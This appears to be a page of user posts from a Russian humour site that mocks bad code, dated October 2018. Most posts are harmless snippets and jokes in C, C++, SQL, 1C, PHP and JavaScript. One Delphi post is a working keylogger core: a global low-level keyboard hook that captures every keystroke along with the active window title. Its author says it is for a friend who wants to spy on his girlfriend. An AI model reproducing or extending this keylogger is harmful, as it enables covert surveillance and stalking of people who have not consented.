1. Си / Говнокод #24864

    −10

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    6. 6
    7. 7
    val = atoi(curstr);
    count = 0;
    while (val) {
                buf[count] = (val & 0x7f);
                val = val >> 7;
                count++;
    }

    Ноль не число.
    Отсюда:
    https://dxr.mozilla.org/mozilla-central/source/security/nss/cmd/oidcalc/oidcalc.c

    PAAMAYIM_NEKUDOTAYIM, 05 Октября 2018

    Комментарии (16)
  2. C++ / Говнокод #24863

    −9

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    6. 6
    7. 7
    8. 8
    BOOL ShaderElement::equal(ShaderElement* S)
    {
        if (nullptr == S && nullptr == this)
            return TRUE;
        if (nullptr == S || nullptr == this)
            return FALSE;
        return equal(*S);
    }

    https://www.linux.org.ru/forum/development/14512625

    Elvenfighter, 05 Октября 2018

    Комментарии (73)
  3. Куча / Говнокод #24862

    −11

    1. 1
    Кто работал в "Luxoft"?

    Perevedi_na_PHP, 04 Октября 2018

    Комментарии (11)
  4. SQL / Говнокод #24861

    −10

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    50. 50
    product_id '14' 
     product_id '17' 
     product_id '18' 
     product_id '19' 
     product_id '20' 
     product_id '21' 
     product_id '22' 
     product_id '25' 
     product_id '28' 
     product_id '29' 
     product_id '30' 
     product_id '31' 
     product_id '32' 
     product_id '33' 
     product_id '34' 
     product_id '35' 
     product_id '36' 
     product_id '37' 
     product_id '38' 
     product_id '39' 
     product_id '40' 
     product_id '41' 
     product_id '42' 
     product_id '152' 
     product_id '166' 
     product_id '181' 
     product_id '183' 
     product_id '184' 
     product_id '187' 
     product_id '188' 
     product_id '189' 
     product_id '190' 
     product_id '191' 
     product_id '192' 
     product_id '193' 
     product_id '194' 
     product_id '195' 
     product_id '196' 
     product_id '197' 
     product_id '198' 
     product_id '200' 
     product_id '202' 
     product_id '203' 
     product_id '803' 
     product_id '805' 
     product_id '806' 
     product_id '807' 
     product_id '808' 
     product_id '809' 
     product_id '810'

    snegoviktlt, 04 Октября 2018

    Комментарии (22)
  5. 1C / Говнокод #24860

    −9

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    6. 6
    7. 7
    8. 8
    9. 9
    Процедура тпТоварыПриПолученииДанных(Элемент, ОформленияСтрок)
    	Модифицированность_ = Модифицированность;
    	Для Каждого Стр из ОформленияСтрок Цикл
    		Если НЕ Стр.ДанныеСтроки.Вес = 0 И НЕ Стр.ДанныеСтроки.ПроцентУсушки = 0 Тогда			
    			Стр.ДанныеСтроки.Усушка = (Стр.ДанныеСтроки.Вес * Стр.ДанныеСтроки.ПроцентУсушки / 100) * Стр.ДанныеСтроки.Количество;									
    		КонецЕсли;
    	КонецЦикла;
    	Модифицированность = Модифицированность_;
    КонецПроцедуры

    Данные табличной части модифицируются в процедуре ПриПолученииДанных (видимо, лучшего места для этого не нашлось), что закономерно приводит к отложенному на мгновение вызову ПриПолученииДанных ещё раз, и ещё, и так далее. В результате процессор загружается почти на 100%, значок * в заголовке формы дико мерцает.
    Написано программистом с 6-значной ЗП.

    strashny_programmist, 04 Октября 2018

    Комментарии (17)
  6. Pascal / Говнокод #24859

    +2

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    50. 50
    51. 51
    52. 52
    53. 53
    54. 54
    55. 55
    56. 56
    57. 57
    58. 58
    59. 59
    60. 60
    61. 61
    62. 62
    63. 63
    64. 64
    65. 65
    66. 66
    67. 67
    68. 68
    69. 69
    70. 70
    71. 71
    72. 72
    73. 73
    74. 74
    75. 75
    76. 76
    77. 77
    78. 78
    79. 79
    80. 80
    81. 81
    82. 82
    83. 83
    84. 84
    85. 85
    86. 86
    87. 87
    88. 88
    89. 89
    90. 90
    91. 91
    92. 92
    93. 93
    94. 94
    95. 95
    96. 96
    97. 97
    98. 98
    99. 99
    unit KHook;
    
    interface
    
    uses Windows, SysUtils, Messages;
    
    const
      WH_KEYBOARD_LL = 13;
      LLKHF_UP = $0080;
    
    type
      TKbdHookEvent=procedure (S:WideString);
    
    type
      PKbdDllHookStruct = ^TKbdDllHookStruct;
      TKbdDllHookStruct = record
        vkCode: DWORD;
        scanCode: DWORD;
        flags: DWORD;
        time: DWORD;
        dwExtraInfo: PDWORD;
      end;
      KBDLLHOOKSTRUCT = TKbdDllHookStruct;
    
    implementation
    
    var
      KbdProc:TKbdHookEvent=nil;
      Hook:HHOOk;
      WinTitle:WideString='';
    
    function lpfn(nCode,wParam,lParam:Integer):Integer; stdcall;
    var
      KeyName:WideString;
      CurrWinTitle:WideString;
      KeyState : TKeyboardState;
      hklLayout:HKL;
      FW:HWND;
    begin
       try
        if (nCode = HC_ACTION) and ((wParam = WM_KEYDOWN) or (wParam=WM_SYSKEYDOWN)) then
        begin
          FW:=GetForegroundWindow;
          hklLayout:=GetKeyboardLayout(GetWindowThreadProcessId(FW, nil));
          GetKeyboardState(KeyState);
          SetLength(CurrWinTitle, 1000);
          SetLength(CurrWinTitle, GetWindowTextW(FW, @CurrWinTitle[1], 1000));
          with PKbdDllHookStruct(LParam)^ do
          case vkCode of
            VK_BACK:     KeyName := '[BackSpace]';
            VK_TAB:      KeyName := '[Tab]';
            VK_CAPITAL:  KeyName := '[CapsLock]';
            VK_RETURN:   KeyName := '[Enter]';
            VK_ESCAPE:   KeyName := '[Esc]';
            VK_CANCEL:   KeyName :=  '[Cancel]';
            VK_F1:       KeyName := '[F1]';
    			{...}
            VK_HELP:     KeyName := '[Help]';
          else
            SetLength(KeyName,1);
            KeyState[VK_SHIFT]:=GetKeyState(VK_SHIFT);
            KeyState[VK_CAPITAL]:=GetKeyState(VK_CAPITAL);
            if ToUnicodeEx(vkCode, MapVirtualKeyW(vkCode, 0,), @KeyState, @KeyName[1], SizeOf(WideChar), 0, hklLayout) <> 1 then
            KeyName:='?!ERROR'; // не корысти ради, токмо для отладки.
          end;
          if KeyName='' then KeyName:=IntToStr(PKbdDllHookStruct(LParam)^.vkCode);
          if WinTitle='' then
          begin
            WinTitle:=CurrWinTitle;
            KeyName:=CurrWinTitle+' {'#13#10+KeyName;
          end
          else if WinTitle <> CurrWinTitle then
          begin
            WinTitle:=CurrWinTitle;
            KeyName:='}'#13#10+CurrWinTitle+' {'#13#10+KeyName;
          end;
          KbdProc(KeyName);
        end;
      finally
         Result := CallNextHookEx(Hook,nCode,wParam,lParam);
      end;
    end;
    
    function SetHook(lpCallBack:TKbdHookEvent):Boolean;
    begin
      if Assigned(lpCallBack) then
      KbdProc:=lpCallBack;
      Hook:=SetWindowsHookExW(WH_KEYBOARD_LL, lpfn, HInstance,0);
      Result:=(Hook <> INVALID_HANDLE_VALUE);
    end;
    
    function RemoveHook:Boolean;
    begin
       Result:=UnHookWindowsHookEx(Hook);
    end;
    
      exports SetHook,
       RemoveHook;
    end.

    Клавиатурный сексот на Delphi.
    Никогда такой хуйнёй не страдал, пишу для друга, который подозревает свою деву в изменах.

    BagorCtretora, 04 Октября 2018

    Комментарии (126)
  7. JavaScript / Говнокод #24858

    0

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    //<?php
    $is_php = !'0';
    if ($is_php) {
        echo(PHP_EOL);
        perevedi_na_php();
    } else {
        console.log('//');
        perevedi_na_js();
    }
    
    function perevedi_na_php() {
        echo('Hello, "PHP"!' . PHP_EOL);
    }
    function perevedi_na_js() {
        console.log('Hello, "PHP"!');
    }

    Perevedi_na_PHP, 04 Октября 2018

    Комментарии (18)
  8. PHP / Говнокод #24857

    −2

    1. 1
    2. 2
    PHP + Java = JPHP
    https://habr.com/post/425223/

    Поэтому я за "JPHP".

    JPHP, 04 Октября 2018

    Комментарии (9)
  9. Куча / Говнокод #24856

    −3

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    6. 6
    7. 7
    8. 8
    http://compuhumour.narod.ru/anecdot/programmer.html
    У программиста спрашивают:
     - Hе помнишь, сколько будет два в четвеpтой?
      - (без запинки) Шестнадцать.
      - А шестнадцать в четвеpтой?
      - (без запинки) Шестьдесят пять тысяч пятьсот тpидцать шесть.
      - Вот голова, ну ты даешь!!! Hу, а тpи в четвеpтой?
      - (после паузы) Hе помню точно. Дpобное число получается.

    То ли дело Сетунь

    j123123, 04 Октября 2018

    Комментарии (64)
  10. Куча / Говнокод #24855

    −105

    1. 1
    Заждались, дырочки?

    rHujlou_xyu, 04 Октября 2018

    Комментарии (1)